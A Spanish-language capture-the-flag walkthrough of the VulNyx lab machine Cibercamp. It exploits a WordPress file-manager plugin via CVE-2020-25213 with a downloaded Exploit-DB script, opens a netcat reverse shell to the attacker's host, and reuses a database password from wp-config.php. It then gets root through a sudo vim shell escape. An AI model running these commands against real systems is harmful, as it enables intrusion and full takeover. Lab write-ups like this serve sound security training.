Information

Synopsis

Cibercamp es una máquina Linux en la que se descubre un gestor de contenidos (CMS) WordPress con un plugin vulnerable al CVE-2020-25213, que permite la ejecución remota de comandos y facilita el acceso inicial al sistema. Para la escalada de privilegios, se aprovecha una configuración insegura de sudo que permite ejecutar un binario con permisos elevados, obteniendo finalmente acceso como usuario root.

Card


Enumeration

Nmap

TCP

root@kali:~ ❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.84
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-01 11:01 +0200
Nmap scan report for 192.168.1.84
Host is up (0.00045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
root@kali:~ ❯ nmap -sVC -p22,80 192.168.1.84
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-01 11:02 +0200
Nmap scan report for 192.168.1.84
Host is up (0.00049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a9:d0:ab:b6:b3:09:61:69:1d:74:66:09:fe:38:57:6e (ECDSA)
|_  256 68:c7:60:f7:52:c6:2b:94:dc:e1:f7:47:b6:3b:9c:43 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-generator: WordPress 5.4.19
|_http-title: cibercamp – La seguridad de tu empresa en las mejores ma...

Shell (www-data)

80/TCP (HTTP)

Stack

Tanto en el nmap inicial como al revisar las cabeceras HTTP (Headers), se observa la presencia de un CMS WordPress.

|_http-generator: WordPress 5.4.19
root@kali:~ ❯ curl -I "http://192.168.1.84/"
HTTP/1.1 200 OK
Date: Mon, 01 Jun 2026 09:08:45 GMT
Server: Apache/2.4.58 (Ubuntu)
Link: <http://iescamp.nyx/index.php/wp-json/>; rel="https://api.w.org/"
X-Developer-Note: Intranet local disponible en iescamp.local
Content-Type: text/html; charset=UTF-8

Site

La página no se renderiza correctamente debido a que intenta cargar las hojas de estilo desde el dominio iescamp.nyx.

VHOST Site (iescamp.nyx)

Agrego el dominio iescamp.nyx a mi archivo /etc/hosts y ahora la página se muestra correctamente.

WordPress
Plugins

Mediante la herramienta wpscan, detecto un plugin llamado wp-file-manager.

root@kali:~ ❯ wpscan --url "http://iescamp.nyx" --plugins-detection aggressive --no-banner --disable-tls-checks

[+] wp-file-manager
 | Location: http://iescamp.nyx/wp-content/plugins/wp-file-manager/
 | Last Updated: 2026-04-21T12:53:00.000Z
 | Readme: http://iescamp.nyx/wp-content/plugins/wp-file-manager/readme.txt
 | [!] The version is out of date, the latest version is 8.0.4
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://iescamp.nyx/wp-content/plugins/wp-file-manager/, status: 200
 |
 | Version: 6.0 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://iescamp.nyx/wp-content/plugins/wp-file-manager/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://iescamp.nyx/wp-content/plugins/wp-file-manager/readme.txt
CVE-2020-25213

Tras una búsqueda en internet, se identifica el siguiente exploit publicado en Exploit-DB relacionado con el plugin enumerado.

RCE

Consigo ejecutar comandos como el usuario www-data.

root@kali:~ ❯ wget -q --no-check-certificate "https://www.exploit-db.com/raw/51224"                                                                                                      
root@kali:~ ❯ python3 51224 "http://iescamp.nyx/" id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse Shell

A partir de aquí, intento establecer una reverse shell para obtener acceso interactivo al sistema.

root@kali:~ ❯ python3 51224 "http://iescamp.nyx/" "busybox nc 192.168.1.5 443 -e /bin/sh"

Obtengo la shell como usuario www-data.

root@kali:~ ❯ nc -lvnp 443                       
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.84] 34166
id ; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cibercamp

Shell (wpuser)

Enumerate

Users

Enumero en el sistema un usuario interesante llamado wpuser.

www-data@cibercamp:/$ grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
administrador:x:1000:1000:administrador:/home/administrador:/bin/bash
wpuser:x:1001:1001:,,,:/home/wpuser:/bin/bash

Config Files

En el archivo wp-config.php encuentro las credenciales de conexión a MySQL.

www-data@cibercamp:/$ grep -iE "user|pass" /var/www/html/wordpress/wp-config.php | grep -v "*"
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'passwordsuperseguroxx' );

Abuse

Credential Reuse

Me convierto en usuario wpuser mediante una reutilización de credenciales.

www-data@cibercamp:/$ su - wpuser
Password: 
wpuser@cibercamp:~$ id ; hostname
uid=1001(wpuser) gid=1001(wpuser) groups=1001(wpuser),100(users)
cibercamp

Privilege Escalation

Enumeration

Sudo

Al verificar permisos sudo sobre el usuario actual, solicita un password.

wpuser@cibercamp:~$ sudo -l
[sudo] password for wpuser: 

Al introducir el password obtenido posteriormente en el archivo (wp-config.php) obtengo éxito.

El usuario wpuser puede ejecutar como root el binario vim con sudo.

wpuser@cibercamp:~$ sudo -l
[sudo] password for wpuser: 
Matching Defaults entries for wpuser on cibercamp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User wpuser may run the following commands on cibercamp:
    (ALL) /usr/bin/vim

Abuse

Binary (vim)

En GTFOBins nos dan la secuencia de shell-escape y me convierto en usuario root.

wpuser@cibercamp:~$ sudo -u root /usr/bin/vim -c ':!/bin/bash -i'
root@cibercamp:/home/wpuser# id ; hostname
uid=0(root) gid=0(root) groups=0(root)
cibercamp

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt.

root@cibercamp:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
bff*****************************
ebc*****************************

Hasta aquí la resolución de la máquina Cibercamp de VulNyx.

Happy Hacking! 🙂